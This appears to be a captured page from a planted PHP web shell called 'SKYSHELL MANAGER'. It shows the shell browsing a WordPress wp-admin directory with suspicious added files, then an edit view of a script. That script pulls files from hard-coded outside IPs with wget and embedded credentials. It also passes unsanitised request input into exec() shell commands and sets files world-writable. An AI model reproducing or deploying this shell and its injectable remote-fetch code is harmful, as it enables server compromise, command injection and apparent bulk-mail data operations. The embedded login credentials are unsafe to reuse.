📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: download_file_update.php
<?php define("INCLUDE_CEHCK",true); include_once("connect.php"); $key=trim($_REQUEST['key']); $file_name=trim($_REQUEST['file_name']); $srvip="http://162.220.62.130"; if(trim(file_get_contents("$srvip/WebXmail_info/ping")) !=1){ echo "<font color='brown'><i>Sorry , The Server is down try later...</i></font>";exit; } if($key==1 && isset($file_name)) { $dflag=0; if(empty($file_name)) { echo "<font color='brown'><i>Fill the Source File name!</i></font>";exit; } # check data is exists on new download location.. $flag=trim(file_get_contents("$srvip/WebXmail_info/webmail_info.php?k=36&fn=$file_name")); ##check the main server data file count $main_datafile_count=trim(file_get_contents("$srvip/WebXmail_info/webmail_info.php?k=37&fn=$file_name")); ##DWn Path $DWN=trim(file_get_contents("$srvip/WebXmail_info/webmail_info.php?k=40")); if($flag==1) { exec("wget --http-user=dragon --http-password=vSTBcWskTX -o '$DATA_FILE_PATH/log_file.txt' -O '$DATA_FILE_PATH/$file_name' $srvip/$DWN/$file_name"); chmod("$DATA_FILE_PATH/$file_name",0777); $local_datafile_count=exec("wc -l '$DATA_FILE_PATH/$file_name' | awk '{ print $1 }' "); $diff=$main_datafile_count-$local_datafile_count; $local_datafile_count=number_format($local_datafile_count); $main_datafile_count=number_format($main_datafile_count); if($diff==0) { echo "<font color='green'><i>Download Successfully! Data Count : <b>$local_datafile_count</b></i></font>"; } else { echo "<font color='green'><i>Original Count:<b>$main_datafile_count</b> <br>Download Count : <b>$local_datafile_count</b></font>"; } } else { echo "<font color='red'><i>File Not Found!... </i></font>"; } } if($key==2 && isset($file_name)) { if(empty($file_name)) { echo "<font color='brown'><i>Fill the Data File name!</i></font>";exit; } $count=exec("wc -l '$DATA_FILE_PATH/$file_name' | awk '{ print $1 }'"); $count=number_format($count); echo "<b>Count :<span class='badge badge-success'>$count</span></b>"; exit; } /* $HVR1_IP="http://74.208.164.141"; $HV2_IP="http://74.208.164.141"; if(trim(file_get_contents("$HVR1_IP/WebXmail_info/ping")) !=1 && trim(file_get_contents("$HV2_IP/WebXmail_info/ping")) !=1) { echo "<font color='brown'><i>Sorry , HVR1 and HV2 Server is down try later...</i></font>";exit; } if($key==1 && isset($file_name)) { $dflag=0; if(empty($file_name)) { echo "<font color='brown'><i>Fill the Data File name!</i></font>";exit; } # check data is exists on hv-2 download location.. $flag=trim(file_get_contents("$HV2_IP/WebXmail_info/webmail_info.php?k=3&fn=$file_name")); $main_datafile_count=trim(file_get_contents("$HV2_IP/WebXmail_info/webmail_info.php?k=4&fn=$file_name")); if($flag==0) { # check data is exists on hvr-1 new download location.. $flag=trim(file_get_contents("$HVR1_IP/WebXmail_info/webmail_info.php?k=36&fn=$file_name")); $main_datafile_count=trim(file_get_contents("$HVR1_IP/WebXmail_info/webmail_info.php?k=37&fn=$file_name")); $dflag=1; } if($flag==0) { # check data is exists on hvr-1 old download location.. $flag=trim(file_get_contents("$HVR1_IP/WebXmail_info/webmail_info.php?k=38&fn=$file_name")); $main_datafile_count=trim(file_get_contents("$HVR1_IP/WebXmail_info/webmail_info.php?k=39&fn=$file_name")); $dflag=2; } if($flag==0) { echo "<font color='brown'><i>Data file not exists on Main Server.</i></font>"; exit; } if($dflag==0) { exec("wget -o '$DATA_FILE_PATH/log_file.txt' -O '$DATA_FILE_PATH/$file_name' $HV2_IP/download/$file_name"); }elseif($dflag==1) { exec("wget -o '$DATA_FILE_PATH/log_file.txt' -O '$DATA_FILE_PATH/$file_name' $MAIN_DATA_FILE_URL/$file_name"); }elseif($dflag==2) { exec("wget -o '$DATA_FILE_PATH/log_file.txt' -O '$DATA_FILE_PATH/$file_name' $HVR1_IP/download/$file_name"); } $local_datafile_count=exec("wc -l '$DATA_FILE_PATH/$file_name' | awk '{ print $1 }' "); chmod("$DATA_FILE_PATH/$file_name",0777); $diff=$main_datafile_count-$local_datafile_count; $local_datafile_count=number_format($local_datafile_count); $main_datafile_count=number_format($main_datafile_count); if($diff==0) { echo "<font color='green'><i>Download Successfully!...Data Count : <b>$local_datafile_count</b></i></font>"; }else { echo "<font color='green'><i>Original Count:<b>$main_datafile_count</b> <br>Download Count : <b>$local_datafile_count</b></font>"; } exit; } if($key==2 && isset($file_name)) { if(empty($file_name)) { echo "<font color='brown'><i>Fill the Data File name!</i></font>";exit; } $count=exec("wc -l '$DATA_FILE_PATH/$file_name' | awk '{ print $1 }'"); $count=number_format($count); echo "<b>Count :<span class='badge badge-success'>$count</span></b>"; exit; } */ ?>
Save